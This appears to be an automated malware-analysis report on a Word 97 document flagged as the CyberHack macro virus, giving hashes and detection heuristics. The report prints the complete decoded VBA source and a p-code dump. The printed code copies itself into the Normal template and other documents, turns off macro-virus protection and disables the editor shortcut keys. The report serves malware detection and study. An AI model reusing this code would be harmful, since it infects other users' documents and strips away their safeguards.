Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7a17b568f287ec06…

MALICIOUS

Office (OLE)

57.0 KB Created: 1999-07-13 00:21:00 Authoring application: Microsoft Word 8.0 First seen: 2014-02-03
MD5: 94e6ac370433815c9a2cf675d2c61b22 SHA-1: d4d392b8314164af148ca09fa1a979bee55288ff SHA-256: 7a17b568f287ec06b5020e9bbe37bc8f2eb53602d5caf33a031f6129c4ddf098
250 Risk Score

Heuristics 6

  • ClamAV: Doc.Trojan.CyberHack-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.CyberHack-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
          Application.OrganizerCopy Source:=Ad.FullName, _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.hotmail.comAttachment In document text (OLE body)
    • http://www.hotmail.comIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19228 bytes
SHA-256: a9f56a1ca48e867d6ec26bd1b05a5df323c2b241511c91863a8e75633603ab4a
Detection
ClamAV: Doc.Trojan.CyberHack-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "CyberHack"
' Macros By WinK'S Hacker
' Picture By Casper Satan

' Lebih baik mencoba dari pada tidak tahu sama sekali ...
' Mohon ma'af bila telah mengganggu Anda.
' Microsoft memang gila ! Nambahin fasilitas pemrogramannya
' keterlaluan untuk suatu word prosesor.
Public AlAsal
Public DokSave
Public Norok
Public Dokok
Sub CyInit()
    AlAsal = Application.DisplayAlerts
    Application.DisplayAlerts = wdAlertsNone
    Call Tahan
    WordBasic.DisableAutoMacros 0
    'CommandBars("Visual Basic").Visible = True
    'CommandBars("Visual Basic").Enabled = True
    'CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
    'CommandBars("Visual Basic").Protection = msoBarNoCustomize
    On Error Resume Next
    'CommandBars("Tools").Controls("Macro").Delete
    CustomizationContext = NormalTemplate
    FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
    FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
    On Error GoTo 0
End Sub
Sub CyClose()
Application.DisplayAlerts = AlAsal
End Sub
Sub Dok2Nor()
    Call Tahan
    On Error GoTo Erw1
    Norok = False
    Set Ad = ActiveDocument
    Set NT = NormalTemplate
    On Error GoTo Erh1a
    For i = 1 To NT.VBProject.VBComponents.Count
      NMacr = NT.VBProject.VBComponents(i).Name
      If NMacr = "CyberHack" Then Norok = True
      If (NMacr <> "CyberHack") And (NMacr <> "CyberForm") And (NMacr <> "ThisDocument") Then
        Application.OrganizerDelete Source:=NT.FullName, _
            Name:=NMacr, Object:=wdOrganizerObjectProjectItems
      End If
    Next i
Erh1a:
    If Norok = False Then
      On Error GoTo Erh1
      Application.OrganizerCopy Source:=Ad.FullName, _
          Destination:=NT.FullName, Name:= _
          "CyberHack", Object:=wdOrganizerObjectProjectItems
      Application.OrganizerCopy Source:=Ad.FullName, _
          Destination:=NT.FullName, Name:= _
          "CyberForm", Object:=wdOrganizerObjectProjectItems
      Templates(NT.FullName).Save
Erh1:
    End If
Erw1:
End Sub
Sub Nor2Dok()
    On Error GoTo Erw2
    DokSave = 0
    Dokok = False
    Set Ad = ActiveDocument
    Set NT = NormalTemplate
    On Error GoTo Erh2a
    For i = 1 To Ad.VBProject.VBComponents.Count
      NMacr = Ad.VBProject.VBComponents(i).Name
      If NMacr = "CyberHack" Then Dokok = True
      NMacr = NT.VBProject.VBComponents(i).Name
      If NMacr = "CyberHack" Then Dokok = True
      If (NMacr <> "CyberHack") And (NMacr <> "CyberForm") And _
        (NMacr <> "ThisDocument") And (NMacr <> "Reference to Normal") Then
        Application.OrganizerDelete Source:=Ad.FullName, _
          Name:=NMacr, Object:=wdOrganizerObjectProjectItems
      End If
    Next i
Erh2a:
    If Dokok = False Then
      On Error GoTo Erh2
      Application.OrganizerCopy Source:=NT.FullName, _
          Destination:=Ad.FullName, Name:= _
          "CyberHack", Object:=wdOrganizerObjectProjectItems
      Application.OrganizerCopy Source:=NT.FullName, _
          Destination:=Ad.FullName, Name:= _
          "CyberForm", Object:=wdOrganizerObjectProjectItems
      DokSave = 1
Erh2:
    End If
Erw2:
End Sub
Sub Cyber()
    Call CyInit
    Call Dok2Nor
    Call CyClose
End Sub
Sub Tahan()
    With Options
        .VirusProtection = False
        .SaveNormalPrompt = False
    End With
End Sub
Sub Simpan()
    On Error GoTo Erh4
Set Ad = ActiveDocument
    If DokSave = 1 Then
       Ad.SaveAs FileName:=Ad.Name, FileFormat:=wdFormatDocument
    End If
Erh4:
End Sub
Sub AutoOpen()
    Call Cyber
End Sub
Sub FileClose()
    Call CyInit
    Call Dok2Nor
    Call Nor2Dok
    Call CyClose
    WordBasic.FileClose
End Sub
Sub FileOpen()
    Call Cyber
    Dialogs(wdDialogFileOpen).Show
    Call CyInit
    Call Nor2Dok
    Call Simpan
    Call CyClose
End Sub
Sub FileSaveAs()
    Call CyInit
    Call Dok2Nor
    Call Nor2Dok
    Call CyClose
    Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub FileSave()
    Call CyInit
    Call Dok2Nor
    Call Nor2Dok
    Call CyClose
    On Error GoTo Errh1
    If ActiveDocument.Saved = False Then ActiveDocument.Save
Errh1:
End Sub
Sub HelpAbout()
    On Error GoTo Erw3
    CyberForm.Show
Erw3:
End Sub
Sub FileExit()
    Call CyInit
    Call Dok2Nor
    Call Nor2Dok
    On Error GoTo Erw4
    If WeekDay(Date) = 6 Then CyberForm.Show
Erw4:
    Call CyClose
    WordBasic.FileExit
End Sub
Sub ToolsOptions()
    Dialogs(wdDialogToolsOptions).Show
    Call Cyber
End Sub
Sub FileNew()
    Call Cyber
    Dialogs(wdDialogFileNew).Show
End Sub
Sub FileTemplates()
    Call Cyber
End Sub
Sub ToolsMacro()
    Call Cyber
End Sub
Sub ToolsCustomize()
    Call Cyber
End Sub
Sub ToolsCustomizeKeyboard()
    Call Cyber
End Sub
Sub ViewVBCode()
    Call Cyber
End Sub
Sub Organizer()
End Sub

Attribute VB_Name = "CyberForm"
Attribute VB_Base = "0{B58F7213-38FB-11D3-881E-9408F7C00000}{B58F720C-38FB-11D3-881E-9408F7C00000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False







































































































































Private Sub CheckBox1_Click()

End Sub

Private Sub CommandButton1_Click()
Unload Me
End Sub

Private Sub UserForm_Click()

End Sub

' Processing file: /tmp/qstore_nzlhr2lb
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1120 bytes
' Macros/VBA/CyberHack - 9099 bytes
' Line #0:
' 	QuoteRem 0x0000 0x0018 " Macros By WinK'S Hacker"
' Line #1:
' 	QuoteRem 0x0000 0x0018 " Picture By Casper Satan"
' Line #2:
' Line #3:
' 	QuoteRem 0x0000 0x0038 " Lebih baik mencoba dari pada tidak tahu sama sekali ..."
' Line #4:
' 	QuoteRem 0x0000 0x0028 " Mohon ma'af bila telah mengganggu Anda."
' Line #5:
' 	QuoteRem 0x0000 0x003A " Microsoft memang gila ! Nambahin fasilitas pemrogramannya"
' Line #6:
' 	QuoteRem 0x0000 0x0027 " keterlaluan untuk suatu word prosesor."
' Line #7:
' 	Dim (Public) 
' 	VarDefn AlAsal
' Line #8:
' 	Dim (Public) 
' 	VarDefn DokSave
' Line #9:
' 	Dim (Public) 
' 	VarDefn Norok
' Line #10:
' 	Dim (Public) 
' 	VarDefn Dokok
' Line #11:
' 	FuncDefn (Sub CyInit())
' Line #12:
' 	Ld Application 
' 	MemLd DisplayAlerts 
' 	St AlAsal 
' Line #13:
' 	Ld wdAlertsNone 
' 	Ld Application 
' 	MemSt DisplayAlerts 
' Line #14:
' 	ArgsCall (Call) Tahan 0x0000 
' Line #15:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #16:
' 	QuoteRem 0x0004 0x002A "CommandBars("Visual Basic").Visible = True"
' Line #17:
' 	QuoteRem 0x0004 0x002A "CommandBars("Visual Basic").Enabled = True"
' Line #18:
' 	QuoteRem 0x0004 0x003E "CommandBars("Visual Basic").Protection = msoBarNoChangeVisible"
' Line #19:
' 	QuoteRem 0x0004 0x003A "CommandBars("Visual Basic").Protection = msoBarNoCustomize"
' Line #20:
' 	OnError (Resume Next) 
' Line #21:
' 	QuoteRem 0x0004 0x002D "CommandBars("Tools").Controls("Macro").Delete"
' Line #22:
' 	Ld NormalTemplate 
' 	St CustomizationContext 
' Line #23:
' 	Ld wdKeyF11 
' 	Ld wdKeyAlt 
' 	ArgsLd BuildKeyCode 0x0002 
' 	ArgsLd FindKey 0x0001 
' 	ArgsMemCall Disable 0x0000 
' Line #24:
' 	Ld wdKeyF8 
' 	Ld wdKeyAlt 
' 	ArgsLd BuildKeyCode 0x0002 
' 	ArgsLd FindKey 0x0001 
' 	ArgsMemCall Disable 0x0000 
' Line #25:
' 	OnError (GoTo 0) 
' Line #26:
' 	EndSub 
' Line #27:
' 	FuncDefn (Sub CyClose())
' Line #28:
' 	Ld AlAsal 
' 	Ld Application 
' 	MemSt DisplayAlerts 
' Line #29:
' 	EndSub 
' Line #30:
' 	FuncDefn (Sub Dok2Nor())
' Line #31:
' 	ArgsCall (Call) Tahan 0x0000 
' Line #32:
' 	OnError Erw1 
' Line #33:
' 	LitVarSpecial (False)
' 	St Norok 
' Line #34:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	Set Ad 
' Line #35:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	Set NT 
' Line #36:
' 	OnError Erh1a 
' Line #37:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld NT 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #38:
' 	Ld i 
' 	Ld NT 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	St NMacr 
' Line #39:
' 	Ld NMacr 
' 	LitStr 0x0009 "CyberHack"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St Norok 
' 	EndIf 
' Line #40:
' 	Ld NMacr 
' 	LitStr 0x0009 "CyberHack"
' 	Ne 
' 	Paren 
' 	Ld NMacr 
' 	LitStr 0x0009 "CyberForm"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld NMacr 
' 	LitStr 0x000C "ThisDocument"
' 	Ne 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #41:
' 	LineCont 0x0004 09 00 0C 00
' 	Ld NT 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NMacr 
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' Line #42:
' 	EndIfBlock 
' Line #43:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #44:
' 	Label Erh1a 
' Line #45:
' 	Ld Norok 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #46:
' 	OnError Erh1 
' Line #47:
' 	LineCont 0x0008 09 00 0A 00 11 00 0A 00
' 	Ld Ad 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NT 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0009 "CyberHack"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #48:
' 	LineCont 0x0008 09 00 0A 00 11 00 0A 00
' 	Ld Ad 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NT 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0009 "CyberForm"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #49:
' 	Ld NT 
' 	MemLd FullName 
' 	ArgsLd Templates 0x0001 
' 	ArgsMemCall Save 0x0000 
' Line #50:
' 	Label Erh1 
' Line #51:
' 	EndIfBlock 
' Line #52:
' 	Label Erw1 
' Line #53:
' 	EndSub 
' Line #54:
' 	FuncDefn (Sub Nor2Dok())
' Line #55:
' 	OnError Erw2 
' Line #56:
' 	LitDI2 0x0000 
' 	St DokSave 
' Line #57:
' 	LitVarSpecial (False)
' 	St Dokok 
' Line #58:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	Set Ad 
' Line #59:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	Set NT 
' Line #60:
' 	OnError Erh2a 
' Line #61:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld Ad 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #62:
' 	Ld i 
' 	Ld Ad 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	St NMacr 
' Line #63:
' 	Ld NMacr 
' 	LitStr 0x0009 "CyberHack"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St Dokok 
' 	EndIf 
' Line #64:
' 	Ld i 
' 	Ld NT 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	St NMacr 
' Line #65:
' 	Ld NMacr 
' 	LitStr 0x0009 "CyberHack"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St Dokok 
' 	EndIf 
' Line #66:
' 	LineCont 0x0004 0D 00 08 00
' 	Ld NMacr 
' 	LitStr 0x0009 "CyberHack"
' 	Ne 
' 	Paren 
' 	Ld NMacr 
' 	LitStr 0x0009 "CyberForm"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld NMacr 
' 	LitStr 0x000C "ThisDocument"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld NMacr 
' 	LitStr 0x0013 "Reference to Normal"
' 	Ne 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #67:
' 	LineCont 0x0004 09 00 0A 00
' 	Ld Ad 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NMacr 
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerDelete 0x0003 
' Line #68:
' 	EndIfBlock 
' Line #69:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #70:
' 	Label Erh2a 
' Line #71:
' 	Ld Dokok 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #72:
' 	OnError Erh2 
' Line #73:
' 	LineCont 0x0008 09 00 0A 00 11 00 0A 00
' 	Ld NT 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld Ad 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0009 "CyberHack"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #74:
' 	LineCont 0x0008 09 00 0A 00 11 00 0A 00
' 	Ld NT 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld Ad 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0009 "CyberForm"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #75:
' 	LitDI2 0x0001 
' 	St DokSave 
' Line #76:
' 	Label Erh2 
' Line #77:
' 	EndIfBlock 
' Line #78:
' 	Label Erw2 
' Line #79:
' 	EndSub 
' Line #80:
' 	FuncDefn (Sub Cyber())
' Line #81:
' 	ArgsCall (Call) CyInit 0x0000 
' Line #82:
' 	ArgsCall (Call) Dok2Nor 0x0000 
' Line #83:
' 	ArgsCall (Call) CyClose 0x0000 
' Line #84:
' 	EndSub 
' Line #85:
' 	FuncDefn (Sub Tahan())
' Line #86:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' Line #87:
' 	LitVarSpecial (False)
' 	MemStWith VirusProtection 
' Line #88:
' 	LitVarSpecial (False)
' 	MemStWith SaveNormalPrompt 
' Line #89:
' 	EndWith 
' Line #90:
' 	EndSub 
' Line #91:
' 	FuncDefn (Sub Simpan())
' Line #92:
' 	OnError Erh4 
' Line #93:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	Set Ad 
' Line #94:
' 	Ld DokSave 
' 	LitDI2 0x0001 
' 	Eq 
' 	IfBlock 
' Line #95:
' 	Ld Ad 
' 	MemLd New 
' 	ParamNamed FileName 
' 	Ld wdFormatDocument 
' 	ParamNamed FileFormat 
' 	Ld Ad 
' 	ArgsMemCall SaveAs 0x0002 
' Line #96:
' 	EndIfBlock 
' Line #97:
' 	Label Erh4 
' Line #98:
' 	EndSub 
' Line #99:
' 	FuncDefn (Sub AutoOpen())
' Line #100:
' 	ArgsCall (Call) Cyber 0x0000 
' Line #101:
' 	EndSub 
' Line #102:
' 	FuncDefn (Sub FileClose())
' Line #103:
' 	ArgsCall (Call) CyInit 0x0000 
' Line #104:
' 	ArgsCall (Call) Dok2Nor 0x0000 
' Line #105:
' 	ArgsCall (Call) Nor2Dok 0x0000 
' Line #106:
' 	ArgsCall (Call) CyClose 0x0000 
' Line #107:
' 	Ld WordBasic 
' 	ArgsMemCall FileClose 0x0000 
' Line #108:
' 	EndSub 
' Line #109:
' 	FuncDefn (Sub FileOpen())
' Line #110:
' 	ArgsCall (Call) Cyber 0x0000 
' Line #111:
' 	Ld wdDialogFileOpen 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #112:
' 	ArgsCall (Call) CyInit 0x0000 
' Line #113:
' 	ArgsCall (Call) Nor2Dok 0x0000 
' Line #114:
' 	ArgsCall (Call) Simpan 0x0000 
' Line #115:
' 	ArgsCall (Call) CyClose 0x0000 
' Line #116:
' 	EndSub 
' Line #117:
' 	FuncDefn (Sub FileSaveAs())
' Line #118:
' 	ArgsCall (Call) CyInit 0x0000 
' Line #119:
' 	ArgsCall (Call) Dok2Nor 0x0000 
' Line #120:
' 	ArgsCall (Call) Nor2Dok 0x0000 
' Line #121:
' 	ArgsCall (Call) CyClose 0x0000 
' Line #122:
' 	Ld wdDialogFileSaveAs 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #123:
' 	EndSub 
' Line #124:
' 	FuncDefn (Sub FileSave())
' Line #125:
' 	ArgsCall (Call) CyInit 0x0000 
' Line #126:
' 	ArgsCall (Call) Dok2Nor 0x0000 
' Line #127:
' 	ArgsCall (Call) Nor2Dok 0x0000 
' Line #128:
' 	ArgsCall (Call) CyClose 0x0000 
' Line #129:
' 	OnError Errh1 
' Line #130:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	LitVarSpecial (False)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' 	EndIf 
' Line #131:
' 	Label Errh1 
' Line #132:
' 	EndSub 
' Line #133:
' 	FuncDefn (Sub HelpAbout())
' Line #134:
' 	OnError Erw3 
' Line #135:
' 	Ld CyberForm 
' 	ArgsMemCall Show 0x0000 
' Line #136:
' 	Label Erw3 
' Line #137:
' 	EndSub 
' Line #138:
' 	FuncDefn (Sub FileExit())
' Line #139:
' 	ArgsCall (Call) CyInit 0x0000 
' Line #140:
' 	ArgsCall (Call) Dok2Nor 0x0000 
' Line #141:
' 	ArgsCall (Call) Nor2Dok 0x0000 
' Line #142:
' 	OnError Erw4 
' Line #143:
' 	Ld Date 
' 	ArgsLd WeekDay 0x0001 
' 	LitDI2 0x0006 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld CyberForm 
' 	ArgsMemCall Show 0x0000 
' 	EndIf 
' Line #144:
' 	Label Erw4 
' Line #145:
' 	ArgsCall (Call) CyClose 0x0000 
' Line #146:
' 	Ld WordBasic 
' 	ArgsMemCall FileExit 0x0000 
' Line #147:
' 	EndSub 
' Line #148:
' 	FuncDefn (Sub ToolsOptions())
' Line #149:
' 	Ld wdDialogToolsOptions 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #150:
' 	ArgsCall (Call) Cyber 0x0000 
' Line #151:
' 	EndSub 
' Line #152:
' 	FuncDefn (Sub FileNew())
' Line #153:
' 	ArgsCall (Call) Cyber 0x0000 
' Line #154:
' 	Ld wdDialogFileNew 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #155:
' 	EndSub 
' Line #156:
' 	FuncDefn (Sub FileTemplates())
' Line #157:
' 	ArgsCall (Call) Cyber 0x0000 
' Line #158:
' 	EndSub 
' Line #159:
' 	FuncDefn (Sub ToolsMacro())
' Line #160:
' 	ArgsCall (Call) Cyber 0x0000 
' Line #161:
' 	EndSub 
' Line #162:
' 	FuncDefn (Sub ToolsCustomize())
' Line #163:
' 	ArgsCall (Call) Cyber 0x0000 
' Line #164:
' 	EndSub 
' Line #165:
' 	FuncDefn (Sub ToolsCustomizeKeyboard())
' Line #166:
' 	ArgsCall (Call) Cyber 0x0000 
' Line #167:
' 	EndSub 
' Line #168:
' 	FuncDefn (Sub ViewVBCode())
' Line #169:
' 	ArgsCall (Call) Cyber 0x0000 
' Line #170:
' 	EndSub 
' Line #171:
' 	FuncDefn (Sub Organizer())
' Line #172:
' 	EndSub 
' Macros/VBA/CyberForm - 3193 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' Line #4:
' Line #5:
' Line #6:
' Line #7:
' Line #8:
' Line #9:
' Line #10:
' Line #11:
' Line #12:
' Line #13:
' Line #14:
' Line #15:
' Line #16:
' Line #17:
' Line #18:
' Line #19:
' Line #20:
' Line #21:
' Line #22:
' Line #23:
' Line #24:
' Line #25:
' Line #26:
' Line #27:
' Line #28:
' Line #29:
' Line #30:
' Line #31:
' Line #32:
' Line #33:
' Line #34:
' Line #35:
' Line #36:
' Line #37:
' Line #38:
' Line #39:
' Line #40:
' Line #41:
' Line #42:
' Line #43:
' Line #44:
' Line #45:
' Line #46:
' Line #47:
' Line #48:
' Line #49:
' Line #50:
' Line #51:
' Line #52:
' Line #53:
' Line #54:
' Line #55:
' Line #56:
' Line #57:
' Line #58:
…